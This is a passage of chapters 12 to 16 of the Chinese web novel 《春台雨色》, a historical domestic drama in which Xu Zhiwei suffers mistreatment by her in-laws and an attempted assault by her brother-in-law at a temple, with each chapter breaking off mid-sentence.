池淌对上大哥阴沉锋利的眸子,双膝一软的跪在地上,咬了咬牙,抬手朝自己脸上扇去,双眼通红,“大嫂,都是我的错,是我昨晚上喝多了酒现在还没醒酒,我该死,我是混蛋,我不是人。” “嫂子你要是不解气,你就打回来,我保证不还手。” “够了,你难道要逼死你弟弟不成。”池夫人心疼坏了的拉起地上的池淌,“你弟弟他还小,他也都没有打到许氏,你对你弟弟生什么气,要我说这一切都怪那个搅家精,要不是他,家里怎么会出现这种事。” “许氏是我明媒正娶回来的夫人,是他的大嫂,长嫂如母,他忤逆不孝的打手打自己母亲,母亲你认为可对?”池宴冷笑,气势迫人,“纵容幼子,溺爱幼子偷挪家中银钱,东窗事发后还想让自己儿媳用嫁妆填补亏空,母亲的行为可对?” 被大儿子眼神给吓得一个哆嗦的池夫人仍是不赞同的嘟哝起来,“一个外姓人,哪里比得过你弟弟金贵,再说了我可不承认她是我们池家人,不也是没有打倒,她矫情什么,嫁入我们池家,那嫁妆自然也归我们池家。” 池宴对她的歪理不置臧否,只是周身气度更低了,“那按照母亲所言,母亲的嫁妆为什么不拿出来给父亲提点,为什么不拿出来给二弟补上窟窿。” 眼见事态就要一发不可收拾的许知微上前面拉过池宴的袖口,对他轻轻摇头,“好了,夫君不用说了,二弟也没有打到我,现在也道歉了。” 他愿意为自己出头,许知微已经很感动了,又怎么能强迫他和家里人生了嫌隙。 况且她从嫁进池家时就知道婆婆不喜欢她,她以为这三年来自己尽心尽力的伺候着婆婆,婆婆总归会对自己改观的。 结果她忘了最重要的一点,讨厌你的人哪怕你对她在好,她也依旧讨厌你。 离开了正厅后,才发现今晨的雨没有就此打住,反倒是越落越大了。 站在檐下等着棠梨去取伞回来的许知微正对着落雨走神时,一柄展开的水墨油纸伞在头顶上展开。 “外面雨大,何不在屋里等。”他的声线很轻,配合着落雨霏霏,竟带上了一丝浅浅的缱绻。 “雨不是很大。”许知微伸出手想要抓住往下飘落的雨丝,却发现自己什么都抓不住。 就像她嫁进池家三年,以为只要自己做好妻子,儿媳的本分就会获得他们的尊重一样。 池宴看了她一眼,把伞往她那边偏去,出声道:“走吧,我送你回去。” 两个人同撑一把伞,想要不被雨水淋湿,就得挨着对方近一点,在近一点。 先前还因为他和林淼思在外玩了三天的许知微在他为自己出头的那一刻,便不受控制的心头小鹿乱撞,如今和他共撑一把伞,更是满心难以压抑的小雀跃。 她好像很久没有和他走在一起了,连原先讨厌的下雨天也在此刻变得明媚浪漫起来。 这一幕又让她回想起年少时,每次遇到下雨天总为担心弄脏了鞋子而苦恼,然后强硬的让年少时的夫君背她,要是他不愿意,那眼泪就跟打翻了的珍珠粒一样往外蹦。 现在想想,她年少时的胆子是真的大。 咬着唇瓣的许知微在伞下抬头,正好对上男人线条干净利索的下颌线,在往下是滚动的喉结,这一幕又同年少时的场景重叠在了一起。 让她险些分不清,如今身边的男人是年少的邻家 12. 第 12 章 《春台雨色》全本免费阅读 很快,刘嬷嬷的下一句话更是直接响起平地一声惊雷。 “这两位姑娘是夫人特意选来伺候大爷的,大少奶奶随意安排个地方给她们住下吧,也方便让她们伺候好爷,尽早让她们诞下爷的子嗣。” 攥紧了手的许知微不知道夫君是否会收下她们,她却是不愿和别的女子分享自己的丈夫,面露难色,“要不要收下她们,是夫君的事,我不能为夫君做主,即便是母亲来问,我也是一样的说法。” 刘嬷嬷被她拒绝的口吻弄得反应激怒,端着主子的架子啪地砸了手边的茶杯,凶狠得突出两颗硕大的眼球,“你是他夫人,为自家爷收下两个姨娘不是天经地义的一件事吗,别是你自个嫉妒不愿给爷纳妾吧,自个生不出,还不允许别人生了,大爷真是倒了八辈子血霉,才会娶了你那么个害他断绝子孙的祸害!” “当初在大爷说娶你的时候,我和夫人就应该拼命劝阻大爷才对,否则也不会让你一个家世相貌皆平平无奇的女人进了池家大门。” 被骂得胸腔起伏的许知微咬着唇强忍着没有哭出来,仍是倔强地重复着相同的话,“我说了,要不要收下她们,你们可以直接去问爷的意见,我是不会代爷做决定的。” 天底下没有哪个当妻子的会喜欢为丈夫纳妾,即使她生不出孩子也不想主动为夫君纳妾。 或许自己真的如他们所说的那样,是个善妒又小气的女子。 刘嬷嬷双手抱胸,全然不将她的拒绝放在眼里,“行啊,夫人说了,要是大少奶奶你不能做主帮爷将翠兰红玫抬做姨娘,就到寺庙里同佛祖戒斋忏悔,等大少奶奶什么时候想通了一个当妻子的本分,就什么时候回来,咱们池家可不养闲人。” 又招手吩咐身后的婆子,“还不进来帮大少奶奶收拾行李,好连夜将人送到山上向佛祖忏悔,说不定佛祖看在她心诚上就大发慈悲了一回。” 很快,两个粗使丫鬟走了进来,粗鲁的从她衣柜里把她的衣服扔在床上。 站在原地的许知微像是连尊严都被其肆意的扔在地上践踏,对方遵循的又是婆婆的意见,她连一句拒绝的权力都没有,唯有哑着嗓子问,“一定要让我连夜去寺庙祈福,不能换为明天吗,现在外面还下着雨。” 刘嬷嬷眉头冷竖,嗓音尖锐着拔高,“这是夫人的意思,大少奶奶可是有意见,让你帮爷将翠兰红玫抬做姨娘你不愿意,让你去寺庙祈福你也不愿意,老奴倒是想要问大少奶奶一句,你究竟是对夫人有意见,还是对池家有意见!” 被骂得满脸羞耻通红的许知微垂下头,“我自然不敢。” “既然不敢,还不赶紧收拾东西,要不然让夫人知道了,还以为大少奶奶对夫人有意见呢。”刘嬷嬷又嘀咕地骂了一句。 指甲掐得掌心满是青月痕的许知微听她提起夫君,像是寻到了一丝底气,“你们连夜要我到寺庙祈福一事,爷可知道。” 那么晚了,本来走山路就危险,何况外面还下雨,夫君肯定不会同意的。 刘嬷嬷眼底划过一抹异色,随即拔高着音量骂道:“这件事爷当然知道,说来这件事还是爷主动提起的,要不是因为你这个搅家精,二爷怎么会同大爷生分!当婆婆的主动要你拿出嫁妆来填,你就应该感恩戴德的麻溜着补上,还找什么凶手,瞧吧,终于让大爷看清了你这女人小肚鸡肠的本性。” 一句他主动提起的,彻底让许知微连质问的勇气都没了,就连反驳的那口儿心气也像是随之散了。 或许换成年少时的她是敢的,但现在的夫君已不是年少时的邻家哥哥,自己也非年少时的小姑娘。 更不确定,现在的自己在他的心里占着怎样的一个位置,又是怎样的一个人。 外面的雨还在下,淅淅沥沥得像天空被人用竹竿捅破了一个洞,否则怎会下个没完没了的惹人厌烦。 棠梨拉上车窗,气得直锤桌,“夫人,你为什么真的要出来啊,这个时候去寺庙里祈福,落在那人眼里就是小姐你怕了她,还是在下雨天的晚上,路上都不知道有多危险。” “我只是想要出来透透气,和旁人无关。”靠着车厢,静静聆听着窗外落雨靡靡的许知微只觉得,连自己的呼吸都要变得不畅了。 她走了,池宴会不会就收下了那两个姑娘当姨娘。 就连让她去寺庙祈福,明着是要她去祈福,实际上是嫌她在府上碍了事。 是不是等一切都瓜熟蒂落后,才会勉为其难的把她接回来? 她去的寺庙是玉泉寺。 玉泉寺是京中最普通不过的一个寺庙,它虽比不上大相国寺的香火旺盛,也是香客不断,只因玉泉寺无论是求姻缘还是求子都格外灵验。 她们是连夜冒雨而来的,住持便好心的安排了一处小院。 居住的厢房很小,小到里面只能容纳下一张床,一个柜子还有一张桌子。 四四方方的地,一眼就能望到头,如同她无望的满腔欢喜。 棠梨把包裹放下,拿起一旁的抹布,“夫人你先坐着休息一下,奴婢打扫一下屋子。” “不用,你们也累了一天了,先下去休息吧。”把人送走后的许知微像是卸了全身的力气般躺在床上。 人是困倦的,眼睛却是合不上半分。 听着外面的落雨声,睁眼直到天明。 随着天亮了,淅淅沥沥下了一天一夜的雨也终是雨停云歇,拔开的云层中有着阳光落下,潋滟晴方好山色。 灵魂像是脱离了疲惫的躯体,整个人如同飘着的许知微推开门走到院子。 下过雨后的院子湿漉漉的,人一不小心踩在上面就会脚底打滑,空气却是出乎意外的清新,仿佛连压在心口的那口沉闷都要随着呼出口的浊气散去。 寺庙的早饭很简单,一碗白粥,一碟咸菜和两个馒头。 许知微没有多少胃口,只是用了半碗白粥就喝不 13. 第 13 章 《春台雨色》全本免费阅读 许知微拿着断裂掉下来的祈福带回来后,就浑浑噩噩地躲进房间里,像只受伤后独自舔舐伤口的幼兽,即使在难受也隐忍着不发出呜咽声。 她想要说服自己上面的字不是池宴所写,可是她又怎么会认错池宴的字迹啊! “夫人怎么了?”门外的棠梨压低声音问道。 明月摇了摇头,“不知道,夫人去了那姻缘树一趟回来后就变成了这样,可能是心情不好吧。” 棠梨认为很对的点头,“也是,换谁遇到那种事都会心情不好,当时夫人就应该把那条红绳系得更紧一些才对,这样也就不会掉下来了。” 她们自以为压低了的说话声,实际上正一字不落的传到许知微的耳边,但她并不在意,只是把自己封闭在了属于自己的世界中。 七月份的阵雨比起六月份只多不少,前一秒还是万里无云的大好晴天,下一秒已是乌云遮日,狂风滚滚。 从小佛堂出来的许知微走到一半,就遇了落雨,提起裙摆就往边上屋檐下躲雨。 她跑得虽然快,衣服仍是被雨水打湿了大片,从而突出身体的曲线轮廓,好在因为下雨,周围没有什么人往来。 头发也湿成一绺绺的许知微正准备抬起袖子,用手拧干多余的水分时,身后突兀地传来了男人的笑声,吓得她险些连心脏都要骤然停歇,缕缕寒气顺着脚心直往椎骨里钻。 “这不是嫂子吗,怎么一个人在寺庙里啊,我大哥呢。”从屋里推开门的男人笑得暧昧地朝她吹了声口哨,目光更是直勾勾的,毫不掩饰的停留在她曲线突出的位置。 “我大哥也真是的,怎么都没有半分怜香惜玉的心,舍得将嫂子扔在这,要是我,我可舍不得。” “你怎么在这里。”许知微抬起头,对上池淌那毫不掩饰的赤//裸目光,羞愤恼怒地抬起手捂住胸口的位置,脚步逐渐拉开,“二爷,我是你大嫂,还望你自重。” “自重”和“嫂子”两字她咬得格外的重,也在提醒着他和自己的身份。 “大嫂都能出现在这里,我出现在这里难道很奇怪吗。”从屋里走出来的池淌自诩风流的倚门摇扇,挑眉邪笑,“我只不过是多看了嫂子一眼,又没有做出任何出阁的举动,嫂子怎么就生气了,嫂子未免也太小气一点了吧。” “反倒是这外面下那么大的雨,嫂子穿那么轻薄的衣服出来,就不怕着了风寒,我屋里头还有件干净的衣服,嫂子要不要进来暖和一下。” “不用,我的丫鬟马上回来了。”但愿认为是自己多想了的许知微拒绝了他话里有话的好意。 自己在如何也是他的嫂子,应该,不会的。 “嫂子你不要和我客气,要不然让大哥知道我没有照顾好你,他肯定又要生气了,上一次大哥对我教训的长嫂如母我可是历历在目的记忆深刻啊。”唇舌间咀嚼出恨意的池淌说着,伸出手就要去拽许知微的胳膊。 “不用了,我丫鬟来了。”浑身绷紧的许知微在他伸出手的那一刻,连避雨都顾不上的跑出檐下。 见她想走的池淌再度向她逼近,嘴边挂着和煦纯良的笑,“嫂子,你这就有些不厚道了,我这个当小叔子的只是想邀请你进来暖和暖和下身体,嫂子何必那么避我,我又不会吃人。” “夫人,不好意思让你久等了。”抱着油纸伞跑回来的明月喊出声后,池淌暗恨地瞪了对方一眼,随后关上木门。 “夫人,二爷怎么会在玉泉寺啊。”明月举起伞撑在夫人头上,眼睛一亮,“是不是姑爷,老夫人让二爷来接夫人回去的。” 整个身体都在发抖的许知微咬得嘴唇发白,拉着明月的手迅速离开这里,“今日我见到二爷的事,不要说出去。” 她不知道池淌为什么会出现在这里,但他刚才说的那些话,他的眼神都明确的在告诉许知微。 这不是一个小叔子看嫂子的眼神,更像是恩客看待价而沽的货物。 明月虽不懂,仍是点了点头,不过心里还是有些失望。 她还以为是姑爷让二爷来接夫人回去的呢,毕竟寺庙里哪里比得上府里。 回到院子后的许知微立马将自己锁在房间里,解下身上被雨水打湿的衣服后,钻进干燥的被窝里把自己紧紧搂成一团,才能摄取到一丝令她心安的暖意。 要不是明月突然出现,他是不是要拉自己进屋子里了。 这个可怖的念头一浮现,就被许知瑶自欺欺人的咬着手指头否认。 不会的,自己在如何也是他的嫂子。 好像嫂子这个身份像免死金牌一样,才能让她稍稍心安。 夏日的雨总是来得及,去得也快,临到傍晚天空已然放晴,几缕阳光争先恐后的从云层里探出头来,照得水波潋滟成湖。 随着山涧晨雾升,寺庙梵音钟声响起。 棠梨端着早饭进来前先敲了门,等得了回应后才推门进来,见到往常这个点早就起的夫人仍坐在床上,就连头发都未挽,遂问道:“夫人,你今日还要去佛堂吗。” 盘腿坐在床上,整个脑袋晕乎乎,似是昨日淋了雨又受到惊吓后导致的着凉,连鼻子都有些堵的许知微想要说不去,脑海中又突兀地想起刘嬷嬷说的那些话。 她是不是真的心不诚,所以在她成婚那么久之后,佛祖都没有赐给她一个孩子。 若是她有了个孩子,她和夫君的关系是否能回到从前,婆婆是不是也不会在往夫君的屋里塞人。 只是昨日遇到了池淌后,许知微不敢在往香客少的地方走,生怕又碰上他该怎么办,连去佛堂时,都会让棠梨,明月守在门外。 草木皆非了一连几天 14. 第 14 章 《春台雨色》全本免费阅读 她起初以为是池宴来了,但她对池宴的脚步声在熟悉不过,所以能清楚的明白来人不是他。 如果不是他,又会是谁? 随着脚步声的逐步靠近,许知微的脊背窜起一丝寒意,寒意随之游走到四肢百骸。 “嫂子,你在里面吗。” 当对方声音响起的那一刻,许知微发抖的掌心跟着冒出一层细密的冷汗,因为她认出了声音的主人是谁。 他不是早就下山了吗?难不成是一直派人在山上监控她,得知棠梨,明月今日都下山后特意来堵她的。 四肢僵在原地,连呼吸都骤停的许知微惊恐的环绕着小佛堂里能藏身的地方,发现根本没有! 要是从窗户出去,肯定会被他发现。 目光猛地落在某一处,她记得小佛堂里有个角门。 从角门走出去就是竹林,穿过竹林就是她居住的院落。 “嫂子,我知道你在里面,你别躲了。”男人的邪笑声伴随着脚步声再度响起。 “我大哥也真是的,居然舍得让大嫂一个人住在寺庙里,要是换成我,我可舍不得。” 走进佛堂的池淌来到她抄写经书的案几上,手抓住经书抖了抖,能看见上面的墨迹还没干,说明人就藏在屋子里。 屋子就那么大点地,不知道嫂子藏到哪里了。 贪婪的嗅着空气里残留的香气,露出痴迷的池淌一把掀开供奉着佛像的桌底下,在没有看见人的时候有过片刻的失望,随后是涌现无尽的狂喜。 “嫂子,你别躲了,我已经发现你了,出来吧,你闻闻,这佛堂里都还留着你身上的香气呢。”池淌一想到那日瞧见她在檐下躲雨,衣服被雨水打湿的模样,连心口都在滚烫发热。 那天回去后,他立马找了几个和她相似的姑娘。 结果发现长得和她像的身材没她好,要么身材好但长得不像,就连那身温柔娴静的气质更是比不上。 一开始他为自己对大哥的女人产生想法而感到羞耻,更担心被大哥知道后将自己打了个半死的害怕。 可这些天来,大哥根本不回府,府里也对这位活得像透明人的大嫂全然不在意,又听说那位林姑娘,不,应该是叫明阳郡主正和大哥打得火热,就连安阳王也有意让自己这位流落在外的女儿嫁给大哥。 要是大哥真娶了明阳郡主,安阳王肯定不会委屈自己的女儿当妾,这里面要牺牲掉的人,明眼人都能看出来是谁。 他还打听到了,大哥除了新婚的时候在她房间里过夜过一回,后面基本不踏入她的房间半步,要他说,大哥也真是个不懂得怜香惜玉的榆木疙瘩,居然放着那么个宝贝不抱在怀里日夜疼爱,他听说的时候简直都要心疼死了。 嫂子肯定没有被男人好好疼爱过,所以才会那么抗拒他的,等她试过自己的好后,嘿嘿嘿,那还不是任他疼爱。 现在的自己哪里是在逼良为娼,分明是来救嫂子逃离火海,让嫂子明白作为一个女人的快乐的菩萨。 “嫂子,你别躲了,我看见你了。” 本来是想要从角门出去的许知微没有想到,这个角门是个被完全封住的死口,她用手捂住自己的嘴,不断缩小自己在花瓶后的存在感,期盼他要是找不到自己就会出去。 时间在一点一点的从指缝中溜走,狂风吹得没有关上的窗牖噼啪作响。 随着小佛堂里的脚步声消失后,许知微以为他已经走了,正把捂着嘴巴的手放下时,猛地对上一张带笑的脸。 窗外有空雷炸开而响,大雨倾盆而落。 “嫂子,我找到你了。” !!! “嫂子,你这是要去哪里啊。”池淌一把扯过她的手,笑得yin邪又猥琐,“嫂子你可真香,就连这小手都格外的软,滑。” 手腕被拽住的许知微惊恐着发白的脸,浑身发抖的怒斥道,“你放开我,我可是你大嫂!” 池淌眼神垂涎的盯着她,展开唇露出一抹笑,“大嫂,你该不会以为我喊你一声大嫂,你就真是我嫂子了吧,你那天害我丢脸的事,我现在都还没有忘记。” “本来我是想要给嫂子你一个教训的,但是。”池淌的手指宛如冰冷的毒蛇,恶心粘稠得抚摸上许知微的脸,令人作呕的气息喷涌而来,“嫂子实在是太美了,我舍不得对嫂子生气,要是嫂子愿意陪我一晚,我就不计较嫂子对我做过的事了,如何。 “嫂子你放心,我这个人可比大哥怜香惜玉得很,保证让嫂子明白什么叫做男人和男人之间的区别,还能满足了嫂子当母亲的梦想。”这天底下哪里有女人不能生的,只能是男人的问题。 冷汗浸透了衣服,瞳孔紧缩的许知微看着解着腰带的池淌,又惊又怕之下扬手朝他脸上扇起,“你要是敢对我做什么,你大哥是不会放过你的!” 被打得偏了脸的池淌舌尖顶住左颔,凶狠的一把掐住她的脖子,“你说啊,到时候我就说是你耐不住寂寞勾引的我,我看大哥是相信我这个弟弟,还是相信你那么个残花败柳的女人。” “放,放开………”脖子被掐得呼吸不畅的许知微伸出手,挣扎着要逃离他的桎梏,从未有过那么一刻痛恨男女之间的力量悬殊。 难道她今天真的要在这里遭遇这种恶心至极的事?不,她绝对不要!!! “畜生,放,放开我,要不………” “你叫啊,最好是把所有人都引过来,好让大家看看我这个好大嫂是怎么不甘寂寞的勾引小叔子,我一个男人人家顶多说是风流,可是嫂子你不一样。”池淌见她越挣扎,笑得越发张扬得意。 “我实话告诉你,我大哥早就不喜欢你了,要不是我大哥默许的,你以为我能会那么大的胆子。” 此刻完全忘了反抗的许知微惊恐的瞪大眼睛,嗓音里掺夹着拔高的冷怒,“你在胡说什么!我夫君才不会这样!” 她自小和池宴认识,自认在没有一个人能比自己了解他是一个怎么样的人。 就算他在不喜欢自己,也绝不会让自己胞弟对自己做出凌辱之事,所以他肯定是在说谎!!! 但这一刻的她,又格外的期盼着他的到来,盼求着他能来救自己。 “我怎么是在胡说,我只不过是在实话实说,嫂子怎么就接受不了,大哥不但说要把你送给我,还说。”池淌笑得恶劣,像个高举着镰刀的刽子手说出世间最残忍的话。 “说他早就后悔娶了你那么个出身平平,连个孩子都生不出的女人,要不是当年祖父非逼着他娶,他才不会娶你那么个贪慕虚荣,见识浅薄的女人,还说他早就厌烦你了。” — 今夜的雨连绵到了城外十里处。 穿着蓑衣,正收剑回鞘的池宴的心脏没由来传来一阵刺疼,仿佛在他不知道的角落里正发生着难以挽回的严重事态。 那天晚上因为查到了那货贼人的下落,为防止他们连夜转移,导致他都没有来得及和她说最近几日不会归家,也不知道母亲是否转告给了她, 15. 第 15 章 《春台雨色》全本免费阅读 棠梨走出房间,正好对上迎面走过来的明月。 不同于她的着急,明月但是显得语气平平,还反过来劝道:“就那么回去了,老夫人会不会不高兴啊,说不定还会以为是夫人故意装病回来的。” 棠梨一想也是这个理,“要不去请住持来给夫人看一下吧,等夫人醒来后在做决定。” 这一场高烧来势汹汹,许知微不知道自己病了多久,只觉得身体是飘忽不定的,是刚出生后茫然不知所措的幼鸟,连萦绕在鼻尖的都是浓浓药臭味。 即使是在病中,那个令她恐惧的噩梦也如同那个雨夜一直缠着她不放,无数的触手拽着她的手要往深渊里拖。 她挣扎地尖叫着,拼命地往前跑,就在她快要逃离这个噩梦时,她看见了不远处的姻缘树下。 她的夫君正笑得温柔的把写下同心缘的祈福带抛上最高的树枝上,依偎在他身边的是笑靥如花的林淼思。 他们看起来是那么登对恩爱的一对啊,她因为没有跑过去,被那条黑色的触手重新拖回了黑暗中,任由她这一次怎么挣扎都是无用。 等一场大病好了后,本就清减的许知微已瘦到了连抱起来都咯骨的存在,不见血色的小脸更带着许久不见阳光的透明之色。 许知微在退烧后,说的第一句话就是,“备车,我们马上回去。” 她不知道池淌最后怎么样了,只知道她是一刻都不想在这里多待了,哪怕池府不欢迎她回去,是她的夫君亲手将她送来的寺庙,她也要回去。 继续待在这里,她觉得自己肯定会疯掉的! 手指放在棉被上攥得手背青筋直冒的许知微回想起那日的噩梦,整个人连手和脚都是浑身冰冷得发抖,连刚喝下去的药都涌到了喉间,直泛恶心。 明月仍是劝道:“啊,可是老夫人不是要让夫人你在寺庙里多住一段时间吗,我们就那么回去了,老夫人会不会不高兴啊。” “我就算是住在这里半年,他们也不见得会派人来接我。”闭上眼的许知微打了个寒颤,回想起挂在姻缘树上的那条祈福带后,心里是没由来的恐慌。 哪怕不是因为那条祈福带,在发生了那样的事后,她是无论如何都不会在住下来了,谁都不知道他一次不成后会不会第二次对她下手,她又能否好运气的再次逃掉。 他有句话说得对,这件事她根本不敢告诉给第三个人听,即使她恨得发疯,恨得尖叫,恨得想要撕歇底里的破口大骂,她都只能把这件事埋起来,埋到入土都不能说出来,就连伤口都只能由自己在无人的深夜里独自舔舐。 明月狐疑地看了她一眼,动了动嘴唇,最后也是一句话没说就走了出去。 出去的时候不知是无心还是无意,关门的声音格外大,像是在恼怒她的不听话。 池府仍和她离开时没有两样,她也没有等来接自己回来的丈夫。 “夫人,你什么时候回来的。”正在洒扫院子的丫鬟见她回来了,脸上闪过片刻的慌乱,只是这一抹混乱藏得很好,没有任何一个人看见。 “我刚回来。”许知微很想问,她去寺庙的那些天,夫君是否提过要去山上将她接回来一事,但话绕到舌尖又咽了回去。 就算问了又能改变得了既定的事实吗,不过是给自己徒增烦恼。 反倒是那日池淌信誓旦旦的话,依旧回荡在她耳边久久不散。 她应该相信池宴的,她不能被池淌三言两语就怀疑起他。 他们认识了那么多年,难道自己还不清楚他是一个怎么样的人吗。 回到屋里的许知微敏锐地察觉到她房间里有人来过,并动过她的东西,眼睛看着仍和她离开之前没有任何区别,她的直觉却告诉她,不是这样的。 咬着唇的许知微打开柜子,发现里面只是少了几件衣服,对比于少了的衣服,她更害怕自己藏在里面的盒子被人发现了。 好在盒子藏的位置足够深,没有被发现,也让她那颗高高提起的心往回放了。 因为她喜欢池宴一事被隐藏得很好,她也不希望他发现自小当邻家妹妹看的人会偷偷地喜欢了他那么多年。 随后许知微又发现除了衣服,连自己的首饰都少了一半,因为她的首饰本就少,所以当少了的时候才更明显。 她不在府上的时候,有谁来过她的院子?又拿走了她的衣服首饰。 前面在外洒扫的小丫鬟老老实实地回,“先前郡主身边的丫鬟落了水,身上没有衣服换,小姐就带着郡主来了夫人的院子拿了几件衣服。” “奴婢想去阻止,结果小姐说夫人用的吃的穿的都是靠姑爷养,她不就是拿几件衣服而已,小气什么。”说完,丫鬟还害怕地缩了缩脖子。 毕竟小姑子带着其她女人来自己大嫂的院子里翻箱倒柜,还将夫人的衣服给一个丫鬟穿,说出去都是一件遭人戳脊梁骨的事。 暴脾气的棠梨气得捏紧拳头,“她们怎么敢的!我们夫人只是去寺庙祈福了,又不是死了!就算是死了,夫人的嫁妆也由不得一个当小姑子的眼巴巴惦记!” “她拿都拿了,你说我现在去问她要,她会还回来吗。”许知微在了解不过这位小姑子的性子,但凡是入了她口袋的东西,都别想着在吐出来。 她自己添置的首饰倒是没少,唯独夫君婚后给她买的都被搜刮走了,才更让她心口堵得慌。 棠梨也知道不会,才更生气,“那我们也不能咽下这口气啊,她如今敢趁着夫人你不在的时候进来偷东西,以后还不知道会做什么,对了,我们去找姑爷,姑爷肯定会帮忙做主的。” 许知微知道她不是开玩笑的,连忙拉住她的手,难堪的摇头,“别告诉他。” 本来大理寺就忙,她不希望自己还用这种后宅妇人间的琐事去打扰他,何况偷拿她衣服首饰的还是他的亲妹妹。 许知微也害怕依小姑子那胡搅蛮缠的本事,到了最后她非但要不回自己的首饰,反倒是会被她倒打一耙说自己惦记了上她的首饰,毕竟这种事,又不是没有发生过。 哪怕理在她这边,一笔也写不出两个池字,何况人都是偏心的。 许知微今日回府的消息,也像一阵风吹到了朝霞院。 “小姐,许氏回来了,她倒是没有什么反应,就是她身边那个叫棠梨的奴婢很是生气的说要找姑爷做主。”丫鬟将自己在落梅院里听到的动静一五一十的复述出来。 “就她那堆破烂,真当谁稀罕啊。”正在逗弄着猫儿的池柔芙从妆盒里的挑起一只玉镯子扔给她,下巴一扬,“诺,赏你了。” 她一直以为这位嫂子出身小门小户,往日里穿的也寒酸,倒是没想到她的首饰虽少,每一样都比得过自己一堆首饰都贵,指定是哄着大哥给她买的,真是个没脸没皮只会花男人钱的贱皮子。 这种好东西她哪里配得上,戴了也不怕折寿。 得了赏的丫鬟狂喜道:“奴婢多谢小姐!” 因为今天的事,导致本就坐了半日马车的许知微更没有一丝胃口,也不想动,就那么安静的坐在窗边,静静地看着风吹落叶。 她不知道自己在做什么,在想什么,只是放空着脑袋将自己同整个茫茫黑夜融为一体。 直到夜里池宴回来了,他像是刚从外面快马加鞭赶回来的,整个人带着风尘仆仆后的惫态,就连下巴上冒出不久的胡渣也是现刮的,上面还残留着一条太过着急后留下的,堪堪止住血的血痕。 池宴抿了抿唇,解释道:“最近衙门出了个棘手的案件,等我去接你的时候,才知道你回来了。” “妾身明白的。”许知微苍白的小脸上扬起一抹浅笑,在对上他平淡如水的瞳孔,不由想到那个梦里他对林淼思露出的笑容。 他很少对自己笑过,少有的几次也是勾起唇角的浅笑,却没有想到他会在别人的面前肆无忌惮的展露自己的喜怒哀乐。 就连那条祈福带也像是压在许知微心口上的一块巨石,沉甸甸地压得她一度喘不过气来。 他打破了自己的规矩只为和她求一份姻缘时,那么,那个时候他在想什么? 是和林淼思一起希望他们长长久久,还 16. 第 16 章 《春台雨色》全本免费阅读 直到他走出房间后,许知微仍是有种如踩在云端上的不真实感,嘴角的笑意更是控制不住地往上扬。 夫君竟然会主动邀请她去游湖,这是从未有过的事。 所以这算不算是她和夫君的首次约会,想到这,许知微的脸颊都迅速滚烫起来。 可是她很快又苦恼起来,上一次自己的衣服全被小姑子拿走后,如今剩下都还是她没来洛阳之前的旧衣。 他好不容易约自己出去玩,结果自己却连一件能穿出去游玩的衣服都没有。 清竹园同落梅院离得很近,仅一条长廊的距离,若是有心,甚至能在深夜里听到另一人踏月踩竹回房的脚步声。 许知微在他晚上没有回来吃饭时,总会熄灭了屋里头的灯,坐在花木遮住身影的台阶上听着他回来的脚步声,一颗心也随之雀跃起来。 好像这样,就能离他近一点,再近一点。 池宴回到自己的院里洗漱了一番后,便来到他从未允许任何人进来的书房里。 要是在金陵伺候过他的人就会发现,书房里的布局同金陵那时一样,里面也不像外人所想的那样如他本人充满了禁欲的清冷感,反倒是清冷中带着丝幼稚的和谐。 比如严肃冷严的四书五经旁放的是时下流行的才子佳人,民俗野异,桌上摆着一个泥塑小人,墙上挂的少女娇嗅荷花。 池宴来到桌边,打开最近从阳城关那边传回的信。 威武将军大胜骚乱了晋国边界二十多年的羌人,此战大获全胜后至少能让羌人十年内不敢在犯,大军自是受封归来,如今怕是已在路上了。 大军归来,那人也应该回来了。 她是不是也收到了他的来信,才会对他如此冷淡。 满脸烦躁的池宴将来信揉成一团扔进纸箩里,人也像是泄了力般靠在太师椅上,清癯修长的指骨半屈着轻叩桌面,节奏是带有滞停性的。 人是疲惫困倦的,脑海里反复着的是三年前的旧事,也惶恐这桩三年前的旧事被她所知晓。 毕竟他比起那位竹马,不见任何优势,有的只是不择手段的卑劣。 池宴只是休息了一下,便招来青山问他最近府里的情况,以及许知微为何会上山祈福一事。 青山老老实实的交代完后便不在多言,而是有眼色的退了下去,出去后不忘把门给合上。 —— 在衣柜里翻到一件白绸竹叶立领中衣,葱黄绫棉裙的许知微换好衣服后,只是让棠梨给自己梳了个不是那么复杂的发髻便抬起脚往外走。 起身时又扫见铜镜中,自个过于苍白的唇色。 犹豫了片刻,仍是打开了梳妆盒,从里面取出一盒唇脂,用手沾了一点涂抹上朱唇,而后用手晕染着慢慢化开。 她平日里都很少打扮,如今一打扮会不会让他觉得自己过于隆重了。 可是抹了胭脂后,确实更好看了,整个人的气色也随之提高了。 许知微瞧着镜中的自己好一会儿,终是没有舍得擦走。 她推门走出来时,池宴已经等在了院中,许知微顿时羞赧地垂下头,快步来到他身侧,“夫君,不好意思让你久等了。” 指腹摩挲一枚环狸玉佩的池宴视线落在她身上停留了片刻,方才离开,“走吧。” “好!” 这一次不在同之前有第三个人在里面,只有他们两个,也给了她更多和他独处的空间。 他今日穿了件竹枝的月白长袍,更显得人清冷出尘,飘逸如仙。 而她今日的衣服上也绣有竹枝,这是不是属于另类的夫妻默契。 许知微正绞尽脑汁想要找些话题时,驾车的二福突然出声,“爷,夫人,到了。” 她都还没有和他说上一句话,怎么就那么快到了,许知微心里不免挫败,但是转念一想,今天能和夫君单独相处说话的机会还有很多,又立马开心起来。 她从金陵嫁到池家后便很少外出,因为她担心自己学不好洛阳的贵女礼仪,从而给他丢脸了该怎么办。 本来他就不喜欢自己,就连这场身份不平等的婚姻也是她强求而来的,以至于她处处小心谨慎,生怕他又因自己遭了同僚笑话。 在她满脑子还在胡思乱想中,男人清冽如泉击玉石的声音随之传来,“下来。” 许知微回过神来,眼前是他向自己伸来的一只手。 男人的掌心宽厚,干燥,富有安全感,手背青筋掌骨微微凸起,虎口处有着厚茧。 许知微脸颊泛红的把手搭上他递来的掌心,又在下一秒变得惨白。 “池大哥,你终于来了,我等了你好久呢,迟到的人等下得要自罚三杯才行。”不远处站在的正是今日同来游湖的林淼思,她身后丫鬟穿的衣服赫然是小姑子趁着她不在,私自送给别人的衣服。 今日的林淼思穿着桃红色襦裙,梳着几条彩色小辫,像只翩跹的蝴蝶飞了过来,连荷塘旁都洋溢着她的笑语。 “池大哥,上一次你送我的荷花,我带回去没几天就谢了,好可惜哦。”林淼思旁若无人的搂过他的手臂,撅着嘴巴撒娇。 “池大哥你再帮我摘一次荷花好不好,我保证这一次一定会养好好的,拜托啦。” 